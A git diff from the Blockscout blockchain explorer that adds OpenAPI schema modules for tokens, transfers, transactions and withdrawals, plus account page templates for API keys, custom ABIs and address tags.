+ } + }, + required: [ + :address_hash, + :symbol, + :name, + :decimals, + :type, + :holders_count, + :exchange_rate, + :volume_24h, + :total_supply, + :icon_url, + :circulating_market_cap, + :reputation + ], + additionalProperties: false + } + |> ChainTypeCustomizations.chain_type_fields() + |> ChainTypeCustomizations.maybe_append_bridged_info() + ) +end + +defmodule BlockScoutWeb.Schemas.API.V2.Token.Type do + @moduledoc """ + This module defines the schema for the Token type. + """ + require OpenApiSpex + + OpenApiSpex.schema(%{ + type: :string, + enum: [ + "ERC-20", + "ERC-721", + "ERC-1155", + "ERC-404" + ] + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token_instance.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token_instance.ex new file mode 100644 index 000000000000..cd68c80a13ec --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token_instance.ex @@ -0,0 +1,60 @@ +defmodule BlockScoutWeb.Schemas.API.V2.TokenInstance do + @moduledoc """ + This module defines the schema for the TokenInstance struct. + """ + require OpenApiSpex + + alias OpenApiSpex.Schema + alias BlockScoutWeb.Schemas.API.V2.{Address, General, Token} + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + id: General.IntegerString, + metadata: %Schema{ + type: :object, + nullable: true, + example: %{"name" => "Test", "description" => "Test", "image" => "https://example.com/image.png"} + }, + owner: %Schema{allOf: [Address], nullable: true}, + token: %Schema{allOf: [Token], nullable: true}, + external_app_url: General.URLNullable, + animation_url: General.URLNullable, + image_url: General.URLNullable, + is_unique: %Schema{type: :boolean, nullable: true}, + thumbnails: %Schema{ + type: :object, + properties: %{ + "500x500" => %Schema{type: :string, format: :uri}, + "250x250" => %Schema{type: :string, format: :uri}, + "60x60" => %Schema{type: :string, format: :uri}, + "original" => %Schema{type: :string, format: :uri} + }, + required: ["original"], + nullable: true + }, + media_type: %Schema{ + type: :string, + example: "image/png", + description: "Mime type of the media in media_url", + nullable: true + }, + media_url: General.URLNullable + }, + required: [ + :id, + :metadata, + :owner, + :token, + :external_app_url, + :animation_url, + :image_url, + :is_unique, + :thumbnails, + :media_type, + :media_url + ], + nullable: false, + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token_instance_in_list.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token_instance_in_list.ex new file mode 100644 index 000000000000..ba78a22f1ce9 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token_instance_in_list.ex @@ -0,0 +1,21 @@ +defmodule BlockScoutWeb.Schemas.API.V2.TokenInstanceInList do + @moduledoc """ + This module defines the schema for the TokenInstanceInList struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{General, Token.Type, TokenInstance} + alias BlockScoutWeb.Schemas.Helper + + OpenApiSpex.schema( + TokenInstance.schema() + |> Helper.extend_schema( + title: "TokenInstanceInList", + properties: %{ + token_type: Type, + value: General.IntegerStringNullable + }, + required: [:token_type, :value] + ) + ) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token_transfer.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token_transfer.ex new file mode 100644 index 000000000000..f57b1bcf6ca8 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token_transfer.ex @@ -0,0 +1,130 @@ +defmodule BlockScoutWeb.Schemas.API.V2.TokenTransfer.TransactionHashCustomization do + @moduledoc false + require OpenApiSpex + alias OpenApiSpex.Schema + + alias BlockScoutWeb.Schemas.API.V2.General + + def schema do + case Application.get_env(:explorer, :chain_type) do + :celo -> + General.FullHashNullable + + _ -> + General.FullHash + end + end +end + +defmodule BlockScoutWeb.Schemas.API.V2.TokenTransfer do + @moduledoc """ + Schema for token transfer + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{Address, General, Token} + + alias BlockScoutWeb.Schemas.API.V2.TokenTransfer.{ + Total, + TotalERC1155, + TotalERC721, + TransactionHashCustomization + } + + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + transaction_hash: TransactionHashCustomization.schema(), + from: Address, + to: Address, + total: %Schema{ + anyOf: [ + TotalERC721, + TotalERC1155, + Total + ], + nullable: true + }, + token: Token, + type: %Schema{type: :string, enum: ["token_burning", "token_minting", "token_spawning", "token_transfer"]}, + timestamp: General.TimestampNullable, + method: General.MethodNameNullable, + block_hash: General.FullHash, + block_number: %Schema{type: :integer, nullable: false}, + log_index: %Schema{type: :integer, nullable: false}, + token_type: Token.Type + }, + required: [ + :transaction_hash, + :from, + :to, + :total, + :token, + :type, + :timestamp, + :method, + :block_hash, + :block_number, + :log_index, + :token_type + ], + additionalProperties: false + }) +end + +defmodule BlockScoutWeb.Schemas.API.V2.TokenTransfer.TotalERC721 do + @moduledoc false + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{General, TokenInstance} + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + token_id: General.IntegerStringNullable, + token_instance: %Schema{allOf: [TokenInstance], nullable: true} + }, + required: [:token_id, :token_instance], + additionalProperties: false + }) +end + +defmodule BlockScoutWeb.Schemas.API.V2.TokenTransfer.TotalERC1155 do + @moduledoc false + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{General, TokenInstance} + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + token_id: General.IntegerStringNullable, + value: General.IntegerStringNullable, + decimals: General.IntegerStringNullable, + token_instance: %Schema{allOf: [TokenInstance], nullable: true} + }, + required: [:token_id, :value, :decimals, :token_instance], + additionalProperties: false + }) +end + +defmodule BlockScoutWeb.Schemas.API.V2.TokenTransfer.Total do + @moduledoc false + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.General + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + value: General.IntegerStringNullable, + decimals: General.IntegerStringNullable + }, + required: [:value, :decimals], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/transaction.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/transaction.ex new file mode 100644 index 000000000000..c017bda3eddf --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/transaction.ex @@ -0,0 +1,509 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Transaction.ChainTypeCustomizations do + @moduledoc false + alias BlockScoutWeb.API.V2.ZkSyncView + alias BlockScoutWeb.Schemas.API.V2.{Address, General, Token} + alias BlockScoutWeb.Schemas.API.V2.Transaction.Fee + alias BlockScoutWeb.Schemas.Helper + alias OpenApiSpex.Schema + + @zksync_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + batch_number: %Schema{type: :integer, nullable: true}, + status: %Schema{ + type: :string, + enum: ZkSyncView.batch_status_enum(), + nullable: true + }, + commit_transaction_hash: General.FullHashNullable, + commit_transaction_timestamp: General.TimestampNullable, + prove_transaction_hash: General.FullHashNullable, + prove_transaction_timestamp: General.TimestampNullable, + execute_transaction_hash: General.FullHashNullable, + execute_transaction_timestamp: General.TimestampNullable + }, + required: [ + :batch_number, + :status, + :commit_transaction_hash, + :commit_transaction_timestamp, + :prove_transaction_hash, + :prove_transaction_timestamp, + :execute_transaction_hash, + :execute_transaction_timestamp + ], + additionalProperties: false + } + + @arbitrum_commitment_transaction_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + hash: General.FullHashNullable, + timestamp: General.TimestampNullable, + status: %Schema{type: :string, enum: ["unfinalized", "finalized"], nullable: true} + }, + required: [:hash, :timestamp, :status], + additionalProperties: false + } + + @arbitrum_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + batch_data_container: %Schema{type: :string, nullable: true}, + batch_number: %Schema{type: :integer, nullable: true}, + status: %Schema{ + type: :string, + enum: ["Confirmed on base", "Sent to base", "Sealed on rollup", "Processed on rollup"], + nullable: false + }, + commitment_transaction: @arbitrum_commitment_transaction_schema, + confirmation_transaction: @arbitrum_commitment_transaction_schema, + contains_message: %Schema{type: :string, enum: ["incoming", "outcoming"], nullable: true}, + message_related_info: %Schema{ + type: :object, + nullable: false, + properties: %{ + message_id: %Schema{type: :integer, nullable: false}, + associated_l1_transaction_hash: General.FullHashNullable, + message_status: %Schema{ + type: :string, + enum: [ + "Syncing with base layer", + "Relayed", + "Settlement pending", + "Waiting for confirmation", + "Ready for relay" + ], + nullable: false + } + }, + additionalProperties: false + }, + gas_used_for_l1: General.IntegerString, + gas_used_for_l2: General.IntegerString, + poster_fee: General.IntegerString, + network_fee: General.IntegerString + }, + required: [:gas_used_for_l1, :gas_used_for_l2, :poster_fee, :network_fee], + additionalProperties: false + } + + @optimism_withdrawal_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + nonce: %Schema{type: :integer}, + status: %Schema{type: :string, nullable: false}, + l1_transaction_hash: General.FullHashNullable + }, + required: [:nonce, :status, :l1_transaction_hash], + additionalProperties: false + } + + @scroll_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + l1_fee_scalar: %Schema{type: :integer, nullable: true}, + l1_fee_commit_scalar: %Schema{type: :integer, nullable: true}, + l1_fee_blob_scalar: %Schema{type: :integer, nullable: true}, + l1_fee_overhead: %Schema{type: :integer, nullable: true}, + l1_base_fee: %Schema{type: :integer, nullable: true}, + l1_blob_base_fee: %Schema{type: :integer, nullable: true}, + l1_gas_used: %Schema{type: :integer, nullable: true}, + l2_fee: Fee, + l2_block_status: %Schema{ + type: :string, + enum: ["Committed", "Finalized", "Confirmed by Sequencer"], + nullable: false + }, + l1_fee: General.IntegerString, + queue_index: %Schema{type: :integer, nullable: false} + }, + required: [ + :l1_fee_scalar, + :l1_fee_commit_scalar, + :l1_fee_blob_scalar, + :l1_fee_overhead, + :l1_base_fee, + :l1_blob_base_fee, + :l1_gas_used, + :l2_fee, + :l2_block_status + ], + additionalProperties: false + } + + @doc """ + Applies chain-specific field customizations to the given schema based on the configured chain type. + + ## Parameters + - `schema`: The base schema map to be customized + + ## Returns + - The schema map with chain-specific properties added based on the current chain type configuration + """ + @spec chain_type_fields(map()) :: map() + # credo:disable-for-next-line + def chain_type_fields(schema) do + case Application.get_env(:explorer, :chain_type) do + :polygon_zkevm -> + schema + |> Helper.extend_schema( + properties: %{ + zkevm_batch_number: %Schema{type: :integer, nullable: true}, + zkevm_sequence_hash: General.FullHash, + zkevm_verify_hash: General.FullHash, + zkevm_status: %Schema{ + type: :string, + enum: ["Confirmed by Sequencer", "L1 Confirmed"], + nullable: false + } + } + ) + + :zksync -> + schema |> Helper.extend_schema(properties: %{zksync: @zksync_schema}) + + :arbitrum -> + schema |> Helper.extend_schema(properties: %{arbitrum: @arbitrum_schema}) + + :optimism -> + schema + |> Helper.extend_schema( + properties: %{ + l1_fee: General.IntegerString, + l1_fee_scalar: General.IntegerString, + l1_gas_price: General.IntegerString, + l1_gas_used: General.IntegerString, + op_withdrawals: %Schema{ + type: :array, + items: @optimism_withdrawal_schema, + nullable: false + }, + op_interop: %Schema{ + type: :object, + nullable: false, + properties: %{ + nonce: %Schema{type: :integer}, + status: %Schema{type: :string, nullable: false, enum: ["Sent", "Relayed", "Failed"]}, + sender_address_hash: General.AddressHashNullable, + target_address_hash: General.AddressHashNullable, + payload: General.HexString, + relay_chain: %Schema{type: :object, nullable: true}, + relay_transaction_hash: General.FullHashNullable, + init_chain: %Schema{type: :object, nullable: true}, + init_transaction_hash: General.FullHashNullable + }, + required: [:nonce, :status, :sender_address_hash, :target_address_hash, :payload], + additionalProperties: false + } + } + ) + + :scroll -> + schema |> Helper.extend_schema(properties: %{scroll: @scroll_schema}) + + :suave -> + schema + |> Helper.extend_schema( + properties: %{ + allowed_peekers: %Schema{type: :array, items: General.AddressHash, nullable: false}, + execution_node: Address, + wrapped: %Schema{ + type: :object, + nullable: false, + properties: %{ + type: %Schema{type: :integer}, + nonce: %Schema{type: :integer, nullable: true}, + to: Address, + gas_limit: General.IntegerStringNullable, + gas_price: General.IntegerStringNullable, + fee: Fee, + max_priority_fee_per_gas: General.IntegerStringNullable, + max_fee_per_gas: General.IntegerStringNullable, + value: General.IntegerStringNullable, + hash: General.FullHash, + method: General.MethodNameNullable, + decoded_input: %Schema{allOf: [General.DecodedInput], nullable: true}, + raw_input: General.HexString + }, + additionalProperties: false + } + } + ) + + :stability -> + schema + |> Helper.extend_schema( + properties: %{ + stability_fee: %Schema{ + type: :object, + nullable: false, + properties: %{ + token: Token, + validator_address: Address, + dapp_address: Address, + total_fee: General.IntegerString, + dapp_fee: General.IntegerString, + validator_fee: General.IntegerString + }, + required: [:token, :validator_address, :dapp_address, :total_fee, :dapp_fee, :validator_fee], + additionalProperties: false + } + } + ) + + :ethereum -> + schema + |> Helper.extend_schema( + properties: %{ + max_fee_per_blob_gas: General.IntegerString, + blob_versioned_hashes: %Schema{type: :array, items: General.FullHash, nullable: false}, + blob_gas_used: General.IntegerString, + blob_gas_price: General.IntegerString, + burnt_blob_fee: General.IntegerString + } + ) + + :celo -> + schema + |> Helper.extend_schema( + properties: %{ + celo: %Schema{ + type: :object, + nullable: false, + properties: %{gas_token: %Schema{allOf: [Token], nullable: true}}, + required: [:gas_token], + additionalProperties: false + } + }, + required: [:celo] + ) + + :zilliqa -> + schema + |> Helper.extend_schema( + properties: %{ + zilliqa: %Schema{ + type: :object, + nullable: false, + properties: %{ + is_scilla: %Schema{type: :boolean, nullable: false} + }, + required: [:is_scilla], + additionalProperties: false + } + }, + required: [:zilliqa] + ) + + _ -> + schema + end + end +end + +defmodule BlockScoutWeb.Schemas.API.V2.Transaction do + @moduledoc """ + This module defines the schema for the Transaction struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{Address, General, SignedAuthorization, TokenTransfer} + alias BlockScoutWeb.Schemas.API.V2.Transaction.{ChainTypeCustomizations, Fee} + alias Explorer.Chain.TransactionAction + alias OpenApiSpex.Schema + + OpenApiSpex.schema( + %{ + type: :object, + properties: %{ + hash: General.FullHash, + result: %Schema{ + anyOf: [ + %Schema{ + type: :string, + enum: ["pending", "awaiting_internal_transactions", "success", "dropped/replaced"] + }, + %Schema{ + type: :string, + description: "Error message", + example: "out of gas" + } + ], + nullable: false + }, + status: %Schema{ + type: :string, + enum: ["ok", "error"], + nullable: true + }, + block_number: %Schema{ + type: :integer, + nullable: true + }, + timestamp: General.TimestampNullable, + from: Address, + to: Address, + created_contract: %Schema{allOf: [Address], nullable: true}, + confirmations: %Schema{ + type: :integer, + minimum: 0 + }, + confirmation_duration: %Schema{ + type: :array, + items: %Schema{ + type: :integer, + minimum: 0, + description: "Duration in milliseconds" + }, + description: + "Array of time intervals in milliseconds. Can be empty [] (no info), single value [interval] (means that the transaction was confirmed within {interval} milliseconds), or two values [short_interval, long_interval] (means that the transaction's confirmation took from {short_interval} to {long_interval} milliseconds)", + example: [1000, 2000], + maxItems: 2 + }, + value: General.IntegerString, + fee: Fee, + gas_price: General.IntegerStringNullable, + type: %Schema{ + type: :integer, + nullable: true + }, + gas_used: General.IntegerStringNullable, + gas_limit: General.IntegerString, + max_fee_per_gas: General.IntegerStringNullable, + max_priority_fee_per_gas: General.IntegerStringNullable, + base_fee_per_gas: General.IntegerStringNullable, + priority_fee: General.IntegerStringNullable, + transaction_burnt_fee: General.IntegerStringNullable, + nonce: %Schema{ + type: :integer, + nullable: false, + minimum: 0 + }, + position: %Schema{ + type: :integer, + nullable: true, + minimum: 0 + }, + revert_reason: %Schema{ + oneOf: [ + General.DecodedInput, + %Schema{ + type: :object, + properties: %{raw: %Schema{anyOf: [General.HexString, %Schema{type: :string}], nullable: true}}, + required: [:raw], + nullable: false, + additionalProperties: false + } + ], + nullable: true + }, + raw_input: General.HexString, + decoded_input: %Schema{allOf: [General.DecodedInput], nullable: true}, + token_transfers: %Schema{type: :array, items: TokenTransfer, nullable: true}, + token_transfers_overflow: %Schema{type: :boolean, nullable: true}, + actions: %Schema{ + type: :array, + items: %Schema{ + type: :object, + required: [:protocol, :type, :data], + properties: %{ + protocol: %Schema{ + type: :string, + enum: TransactionAction.supported_protocols(), + nullable: false + }, + type: %Schema{ + type: :string, + enum: TransactionAction.supported_types(), + nullable: false + }, + data: %Schema{ + type: :object, + description: "Transaction action details (json formatted)", + nullable: false + } + }, + additionalProperties: false + }, + nullable: true + }, + exchange_rate: General.FloatStringNullable, + historic_exchange_rate: General.FloatStringNullable, + method: General.MethodNameNullable, + transaction_types: %Schema{ + type: :array, + items: %Schema{ + type: :string, + enum: [ + "coin_transfer", + "contract_call", + "contract_creation", + "rootstock_bridge", + "rootstock_remasc", + "token_creation", + "token_transfer", + "blob_transaction", + "set_code_transaction" + ] + } + }, + transaction_tag: %Schema{ + type: :string, + nullable: true, + example: "personal", + description: "Transaction tag set in My Account" + }, + has_error_in_internal_transactions: %Schema{type: :boolean, nullable: true}, + authorization_list: %Schema{type: :array, items: SignedAuthorization, nullable: true}, + is_pending_update: %Schema{type: :boolean, nullable: true} + }, + required: [ + :hash, + :result, + :status, + :block_number, + :timestamp, + :from, + :to, + :created_contract, + :confirmations, + :confirmation_duration, + :value, + :fee, + :gas_price, + :type, + :gas_used, + :gas_limit, + :max_fee_per_gas, + :max_priority_fee_per_gas, + :base_fee_per_gas, + :priority_fee, + :transaction_burnt_fee, + :nonce, + :position, + :revert_reason, + :raw_input, + :decoded_input, + :token_transfers, + :token_transfers_overflow, + :actions, + :exchange_rate, + :historic_exchange_rate, + :method, + :transaction_types, + :transaction_tag, + :has_error_in_internal_transactions, + :authorization_list, + :is_pending_update + ], + additionalProperties: false + } + |> ChainTypeCustomizations.chain_type_fields() + ) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/transaction/fee.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/transaction/fee.ex new file mode 100644 index 000000000000..61b8b0f74f4d --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/transaction/fee.ex @@ -0,0 +1,22 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Transaction.Fee do + @moduledoc """ + This module defines the schema for the Transaction fee. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.General + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + required: [:type, :value], + properties: %{ + type: %Schema{ + type: :string, + enum: ["maximum", "actual"] + }, + value: General.IntegerStringNullable + }, + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/withdrawal.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/withdrawal.ex new file mode 100644 index 000000000000..2e9e4f4e0b6b --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/withdrawal.ex @@ -0,0 +1,26 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Withdrawal do + @moduledoc """ + This module defines the schema for the Withdrawal struct. + """ + require OpenApiSpex + alias BlockScoutWeb.Schemas.API.V2.{Address, General} + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + index: %Schema{type: :integer, nullable: false}, + validator_index: %Schema{type: :integer, nullable: false}, + amount: General.IntegerString, + block_number: %Schema{type: :integer, nullable: false}, + receiver: Address, + timestamp: General.Timestamp + }, + required: [ + :index, + :validator_index, + :amount + ], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/helper.ex b/apps/block_scout_web/lib/block_scout_web/schemas/helper.ex new file mode 100644 index 000000000000..6fc972895330 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/helper.ex @@ -0,0 +1,28 @@ +defmodule BlockScoutWeb.Schemas.Helper do + @moduledoc false + + alias OpenApiSpex.Schema + + @doc """ + Extends a schema with additional properties and required fields. + """ + @spec extend_schema(Schema.t() | map(), Keyword.t()) :: Schema.t() | map() + def extend_schema(schema, options) do + updated_schema = + schema + |> Map.update!(:properties, &Map.merge(&1, Keyword.get(options, :properties, %{}))) + |> Map.update!(:required, &(&1 ++ Keyword.get(options, :required, []))) + + updated_schema_with_title = + if Keyword.has_key?(options, :title), + do: Map.put(updated_schema, :title, Keyword.get(options, :title)), + else: updated_schema + + updated_schema_with_description = + if Keyword.has_key?(options, :description), + do: Map.put(updated_schema_with_title, :description, Keyword.get(options, :description)), + else: updated_schema_with_title + + updated_schema_with_description + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/social_media.ex b/apps/block_scout_web/lib/block_scout_web/social_media.ex index 7c13c7a687dd..ba0f760f05aa 100644 --- a/apps/block_scout_web/lib/block_scout_web/social_media.ex +++ b/apps/block_scout_web/lib/block_scout_web/social_media.ex @@ -6,7 +6,7 @@ defmodule BlockScoutWeb.SocialMedia do @services %{ facebook: "https://www.facebook.com/", instagram: "https://www.instagram.com/", - twitter: "https://www.twitter.com/", + twitter: "https://www.x.com/", telegram: "https://t.me/" } diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/api_key/form.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/api_key/form.html.eex new file mode 100644 index 000000000000..66b7c73175b5 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/api_key/form.html.eex @@ -0,0 +1,34 @@ +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :api_keys %> +
+
+
+

<%=if @method == :update, do: gettext("Update"), else: gettext("Add") %> <%= gettext "API key"%>

+ +
+
+
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/api_key/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/api_key/index.html.eex new file mode 100644 index 000000000000..43db4a18cbea --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/api_key/index.html.eex @@ -0,0 +1,51 @@ +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :api_keys %> +
+
+
+

<%= gettext "API keys" %>

+
+ <%= if Enum.count(@api_keys) < Key.get_max_api_keys_count() do %> +
+
+ <%= gettext "Create an API key to use with your RPC and EthRPC API requests." %> <%= gettext "Learn more" %> +
+
+ <% else %> +
+
+ <%= gettext "You can create 3 API keys per account." %> <%= gettext "Learn more" %> +
+
+ <% end %> +
+
+ <%= if @api_keys != [] do %> + + + + + + + + + + + <%= Enum.map(@api_keys, fn key -> + render("row.html", api_key: key, conn: @conn) + end) %> + +
<%= gettext "Name" %><%= gettext "API key" %>
+ <% end %> +
+
+ <%= if Enum.count(@api_keys) < Key.get_max_api_keys_count() do %> + <%= gettext "Add API key" %> + <% end %> +
+
+
+
+ +
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/api_key/row.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/api_key/row.html.eex new file mode 100644 index 000000000000..1d834336fb72 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/api_key/row.html.eex @@ -0,0 +1,18 @@ + + <%= @api_key.name %> + + <%= @api_key.value %> + <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", + additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders"], clipboard_text: @api_key.value, aria_label: gettext("Copy API key"), title: gettext("Copy API key"), style: "display: inline-block; vertical-align: text-bottom; position: initial; margin-top: 1px;" %> + + +
+ + +
+ <%= gettext("Remove") %> + + + <%= link gettext("Edit"), to: api_key_path(@conn, :edit, @api_key.value) %> + + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/auth/profile.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/auth/profile.html.eex new file mode 100644 index 000000000000..618c877f1691 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/auth/profile.html.eex @@ -0,0 +1,36 @@ +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :profile %> +
+
+
+

Profile

+
+
+ <%= @user.nickname %> +
+
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+
+
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/common/_nav.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/common/_nav.html.eex new file mode 100644 index 000000000000..f5397976b145 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/common/_nav.html.eex @@ -0,0 +1,22 @@ + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/custom_abi/form.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/custom_abi/form.html.eex new file mode 100644 index 000000000000..312e020677a6 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/custom_abi/form.html.eex @@ -0,0 +1,39 @@ +<% abi = format_abi(@custom_abi) %> +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :custom_abis %> +
+
+
+

<%=if @method == :update, do: gettext("Update"), else: gettext("Add") %> <%= gettext "Custom ABI"%>

+ +
+
+
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/custom_abi/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/custom_abi/index.html.eex new file mode 100644 index 000000000000..84467652b189 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/custom_abi/index.html.eex @@ -0,0 +1,51 @@ +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :custom_abis %> +
+
+
+

<%= gettext "Custom ABI" %>

+
+ <%= if Enum.count(@custom_abis) < CustomABI.get_max_custom_abis_count() do %> +
+
+ <%= gettext "Create a Custom ABI to interact with contracts." %> +
+
+ <% else %> +
+
+ <%= gettext "You can create up to 15 Custom ABIs per account." %> +
+
+ <% end %> +
+
+ <%= if @custom_abis != [] do %> + + + + + + + + + + + <%= Enum.map(@custom_abis, fn key -> + render("row.html", custom_abi: key, conn: @conn) + end) %> + +
<%= gettext "Name" %><%= gettext "Contract Address" %>
+ <% end %> +
+
+ <%= if Enum.count(@custom_abis) < CustomABI.get_max_custom_abis_count() do %> + <%= gettext "Add Custom ABI" %> + <% end %> +
+
+
+
+ +
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/custom_abi/row.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/custom_abi/row.html.eex new file mode 100644 index 000000000000..36c2740aa809 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/custom_abi/row.html.eex @@ -0,0 +1,18 @@ + + <%= @custom_abi.name %> + + <%= link(@custom_abi.address_hash, to: address_contract_path(@conn, :index, @custom_abi.address_hash)) %> + <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", + additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders"], clipboard_text: @custom_abi.address_hash, aria_label: gettext("Copy Contract Address"), title: gettext("Copy Contract Address"), style: "display: inline-block; vertical-align: text-bottom; position: initial; margin-top: 1px;" %> + + +
+ + +
+ <%= gettext("Remove") %> + + + <%= link gettext("Edit"), to: custom_abi_path(@conn, :edit, @custom_abi.id) %> + + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/tag_address/form.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_address/form.html.eex new file mode 100644 index 000000000000..6e41a7c3f321 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_address/form.html.eex @@ -0,0 +1,33 @@ +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :address_tags %> +
+
+
+

<%= gettext "Add address tag"%>

+ +
+
+
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/tag_address/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_address/index.html.eex new file mode 100644 index 000000000000..bcc3d2d31b9e --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_address/index.html.eex @@ -0,0 +1,41 @@ +
+
+ <%= render BlockScoutWeb.Account.CommonView, "_nav.html", conn: @conn, active_item: :address_tags %> +
+
+
+

<%= gettext "Address Tags" %>

+
+
+
+ <%= if @address_tags == [] do %> +
+
+ <%= gettext "You don't have address tags yet" %> +
+
+

+ <% else %> + + + + + + + + + + <%= Enum.map(@address_tags, fn at -> + render("row.html", address_tag: at, conn: @conn) + end) %> + +
<%= gettext "Name" %><%= gettext "Address" %><%= gettext "Action" %>
+ <% end %> +
+
+ <%= if Enum.count(@address_tags) < TagAddress.get_max_tags_count() do %> + <%= gettext "Add address tag" %> + <% end %> +
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/account/tag_address/row.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_address/row.html.eex new file mode 100644 index 000000000000..5fd4445741e7 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/account/tag_address/row.html.eex @@ -0,0 +1,15 @@ +<%= if @address_tag.address_hash do %> + + <%= @address_tag.name %> + +
+ <%= link(trimmed_hash(@address_tag.address_hash), to: address_path(@conn, :show, @address_tag.address_hash)) %> + <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", + additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders"], clipboard_text: @address_tag.address_hash, aria_label: gettext("Copy Address"), title: gettext("Copy Address"), style: "display: inline-block; vertical-align: text-bottom; position: initial; margin-top: 1px;" %> + + + <%= link "Remove Tag", to: tag_address_path(@conn, :delete, @address_tag.id), method: :delete %> +
